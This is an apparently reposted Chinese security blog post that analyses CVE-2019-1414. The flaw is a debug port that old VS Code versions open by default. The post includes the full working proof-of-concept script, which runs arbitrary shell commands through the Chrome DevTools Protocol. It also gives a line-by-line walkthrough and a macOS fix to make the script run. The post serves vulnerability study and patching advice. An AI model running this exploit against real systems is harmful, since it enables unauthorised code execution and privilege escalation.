【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

admin 2022年4月20日09:16:44评论81 views字数 8407阅读28分1秒阅读模式

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

背景
【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

微软在2015年推出的跨平台开源编辑器Visual Studio Code(VS Code),凭借其开箱即用的便捷以及丰富的插件社区,迅速吸引了大批用户。在最新的PYPL IDE排行榜中,VS Code已位列第六,并且仍处于上升趋势。

几个月前,国外安全研究员Tavis Ormandy发现并提交了VS Code中的一个本地命令执行漏洞(CVE-2019-1414),并于最近披露。1.39版本之前的VS Code受此漏洞影响。

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)
       漏洞分析与复现

可以在这里找到老版本的vscode安装包,各个操作系统版本的都有,这里使用1.38 mac版本进行演示。

打开下载的vscode。通过ps可以看到,vscode默认开启了一个node js调试端口(--inspect=13611)。

$ ps aux |grep inspectch 95536 0.0 0.7 4815292 56884 ?? S 9:59上午 0:03.49 /private/var/folders/s7/yz190r8s1q1c07_dbl4z40dm0000gn/T/AppTranslocation/8D63CA2B-3DB2-4150-AE36-59BC8B6475DB/d/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper --nolazy --inspect=13611 /private/var/folders/s7/yz190r8s1q1c07_dbl4z40dm0000gn/T/AppTranslocation/8D63CA2B-3DB2-4150-AE36-59BC8B6475DB/d/Visual Studio Code.app/Contents/Resources/app/out/bootstrap-fork --type=extensionHostch 95748 0.0 0.0 4286472 840 s003 S+ 10:42上午 0:00.01 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn inspect

我们可以通过api查看调试端口的信息:

$ curl http://127.0.0.1:13611/json[ {"description": "node.js instance","devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:13611/09d445a2-c4ad-4082-b4ab-36de37ff910f","devtoolsFrontendUrlCompat": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:13611/09d445a2-c4ad-4082-b4ab-36de37ff910f","faviconUrl": "https://nodejs.org/static/favicon.ico","id": "09d445a2-c4ad-4082-b4ab-36de37ff910f","title": "/private/var/folders/s7/yz190r8s1q1c07_dbl4z40dm0000gn/T/AppTranslocation/8D63CA2B-3DB2-4150-AE36-59BC8B6475DB/d/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper[95536]","type": "node","url": "file://","webSocketDebuggerUrl": "ws://127.0.0.1:13611/09d445a2-c4ad-4082-b4ab-36de37ff910f"} ]

在chrome中直接打开devtoolsFrontendUrl指向的链接,就可以得到一个浏览器调试终端,可以在里面执行js指令。

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

漏洞作者给出的poc如下:

//poc.jsconst fetch = require('node-fetch')const WebSocket = require('ws')
function die (reason) { console.error(reason) process.exit(-1)}
if (process.argv.length !== 5) {die('usage: node index.js <IP> <PORT> <COMMAND>')}
const IP = process.argv[2]const PORT = process.argv[3]const COMMAND = process.argv[4]const COMMAND_B64 = base64(COMMAND)
function base64 (data) {return Buffer.from(data).toString('base64')}
async function getWsLink () {const res = await fetch(`http://${IP}:${PORT}/json`)const data = await res.json()return data[0].webSocketDebuggerUrl}
async function main () { console.log(`[?] Getting webSocketDebuggerUrl from http://${IP}:${PORT}/json`)const wsLink = await getWsLink().catch(die) console.log(`[!] Found webSocketDebuggerUrl: ${wsLink}`)const socket = new WebSocket(wsLink)
socket.onopen = async (event) => { console.log(`[?] Connection established to ${wsLink}`) socket.send(JSON.stringify({ id: 1, method: 'Runtime.enable' })) socket.send(JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: `spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}` } }))
socket.send(JSON.stringify({ id: 2, method: 'Runtime.evaluate', params: { expression: `spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}` } }))
console.log(`[!] Executing: ${COMMAND}`) socket.send(JSON.stringify({ id: 3, method: 'Runtime.evaluate', params: { expression: `spawnSync('/bin/bash', ['-c', 'echo ${COMMAND_B64} | base64 -d | /bin/bash'])` } }))
socket.close() }
socket.onmessage = (event) => {// console.log(event) }
socket.onclose = (event) => {// console.log(event)if (event.wasClean) { console.log('[?] Connection closed cleanly') } else { console.log('[?] Connection died') } }
socket.onerror = (error) => { console.log(error) }}
main()

运行命令是node poc.js [HOST] [PORT] [CMD]
我用下面的命令尝试了几次都没有成功往/tmp/a中写入东西,于是开始着手分析poc代码。

node poc.js 127.0.0.1 13611 "pwd >/tmp/a"cat /tmp/a

getWsLink函数通过访问http://127.0.0.1:13611/json拿到webSocketDebuggerUrl。之后这个url被用来进行websocket连接。

async function getWsLink () {const res = await fetch(`http://${IP}:${PORT}/json`)const data = await res.json()return data[0].webSocketDebuggerUrl}

建立websocket连接之后发送了4个数据包,这种数据包的协议是Chrome DevTools Protocol,大致结构是这样的:

{  id: 1,  method: 'xxx',params: {} //可选}

这种协议一般用来调试和优化Chromium, Chrome浏览器,查阅文档后找到了poc中使用的两种method的相关信息。

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

可以看到两种method都在Runtime Domain分类下面,Runtime Domain把Javascript runtime暴露在远程连接中,且命令执行副作用持久化。Runtime.enable使能执行环境、Runtime.evaluate用来执行具体命令。

之后就需要知道发送的这几个expression里面有什么,把几个包中的expression展开、美化之后,可以看的更清晰一些:

// id=2spawn_sync = process.binding('spawn_sync');
normalizeSpawnArguments = function(c, b, a) { //解析参数,c:process, b:args, a:optionsif (Array.isArray(b) ? b = b.slice(0) : (a = b, b = []), a === undefined && (a = {}), a = Object.assign({}, a), a.shell) {const g = [c].concat(b).join(' ');typeof a.shell === 'string' ? c = a.shell : c = '/bin/sh', b = ['-c', g]; }typeof a.argv0 === 'string' ? b.unshift(a.argv0) : b.unshift(c);var d = a.env || process.env;var e = [];for (var f in d) e.push(f + '=' + d[f]); //加入环境变量return {file: c,args: b,options: a,envPairs: e };}
// id=3spawnSync = function() { //主函数,用来执行命令var d = normalizeSpawnArguments.apply(null, arguments); // arguments是函数的参数,https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Functions/argumentsvar a = d.options;var c;if (a.file = d.file, a.args = d.args, a.envPairs = d.envPairs, a.stdio = [{type: 'pipe',readable: !0,writable: !1 }, {type: 'pipe',readable: !1,writable: !0 }, {type: 'pipe',readable: !1,writable: !0 }], a.input) {var g = a.stdio[0] = util._extend({}, a.stdio[0]); g.input = a.input; }for (c = 0; c < a.stdio.length; c++) {var e = a.stdio[c] && a.stdio[c].input;if (e != null) {var f = a.stdio[c] = util._extend({}, a.stdio[c]); isUint8Array(e) ? f.input = e : f.input = Buffer.from(e, a.encoding); } }var b = spawn_sync.spawn(a);if (b.output && a.encoding && a.encoding !== 'buffer')for (c = 0; c < b.output.length; c++) {if (!b.output[c]) continue; b.output[c] = b.output[c].toString(a.encoding); }return b.stdout = b.output && b.output[1], b.stderr = b.output && b.output[2], b.error && (b.error = b.error + 'spawnSync ' + d.file, b.error.path = d.file, b.error.spawnargs = d.args.slice(1)), b;}
// 加的辅助调试内容function base64(data) {return Buffer.from(data).toString('base64')}const COMMAND = process.argv[2]const COMMAND_B64 = base64(COMMAND)
//id=4spawnSync('/bin/bash', ['-c', `echo ${COMMAND_B64} | base64 -d | /bin/bash`])

id为2和3的表达式中定义了命令执行函数spawnSync,其中处理了诸如环境变量,输入输出这些细节。id为4的表达式中调用spawnSync来执行终端中传入的命令。

可以看到spawnSync函数返回了执行结果的stdout以及stderr,于是我修改了poc,把执行结果放入一个变量中,通过前面的文档可以知道,这种远程执行是有”副作用“的,所以在Chrome中的调试界面应该能打印这个变量,就可以看到报错信息。

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)


【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

原来是mac上base64工具的参数和linux上的不太一样,🤦‍♀️。

$ base64 --helpUsage:    base64 [-hvD] [-b num] [-i in_file] [-o out_file]  -h, --help     display this message  -D, --decode   decodes input  -b, --break    break encoded string into num character lines  -i, --input    input file (default: "-" for stdin)  -o, --output   output file (default: "-" for stdout)root@kali:~# base64 --helpUsage: base64 [OPTION]... [FILE]Base64 encode or decode FILE, or standard input, to standard output.With no FILE, or when FILE is -, read standard input.Mandatory arguments to long options are mandatory for short options too.  -d, --decode          decode data  ........

把poc中的base64 -d换成base64 -D之后执行成功了。

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)
       修复

此漏洞在1.39.1版本中得到修复,默认情况下不再开启调试端口。

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)
      危害与安全建议

危害

调试端口是暴露在本地的,所以不会有被远程攻击的危险,这一点降低了这个漏洞的危害程度。在渗透测试中,此漏洞可能会被用来进行bypass uac、提权等攻击行为。

安全建议

  1. 尽快升级到最新版本

  2. 尽量避免在管理员权限下使用vscode

链接

https://iwantmore.pizza/posts/cve-2019-1414.html

https://github.com/phra/inspector-exploiter

https://github.com/aslushnikov/getting-started-with-cdp/blob/master/README.md

https://chromedevtools.github.io/devtools-protocol/tot/Runtime

https://github.com/b1tg/inspector-exploiter/blob/master/debug-expressions.js

【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

- 结尾 -
精彩推荐
【技术分享】工控安全入门(八)—— 设备驱动与通信分析
【技术分享】学习笔记:UAF释放后重用
【技术分享】从Mimikatz 解读windows 下的协议
【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日09:16:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】Visual Studio Code本地代码执行漏洞(CVE-2019-1414)http://cn-sec.com/archives/926527.html

发表评论

匿名网友 填写信息